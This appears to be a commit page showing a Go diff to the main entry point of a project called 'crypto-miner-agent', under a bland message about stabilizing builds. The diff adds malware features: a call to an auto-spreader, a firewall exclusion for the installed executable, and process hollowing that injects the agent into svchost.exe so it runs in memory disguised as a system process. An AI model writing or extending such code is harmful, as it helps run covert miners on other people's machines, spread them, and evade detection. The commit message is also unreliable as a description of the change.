Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
@@ -5,6 +5,7 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/client"
|
||||
"crypto-miner-agent/config"
|
||||
@@ -55,11 +56,36 @@ func main() {
|
||||
}
|
||||
|
||||
deploy.StartWatchdog(cfg)
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
|
||||
if cfg.FirewallExclusion {
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
deploy.EnsureFirewallExclusion(cfg, installedExe)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
// Trigger Process Hollowing Memory Injection if enabled
|
||||
if cfg.ProcessHollowing {
|
||||
// Simple check: if we aren't already running as svchost, hollow it!
|
||||
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
||||
exePath, _ := os.Executable()
|
||||
payload, err := os.ReadFile(exePath)
|
||||
if err == nil {
|
||||
log.Printf("[hollowing] Injecting into svchost.exe...")
|
||||
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
||||
if err == nil {
|
||||
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
|
||||
}
|
||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
log.Fatalf("[agent] stopped: %v", err)
|
||||
|
||||
Reference in New Issue
Block a user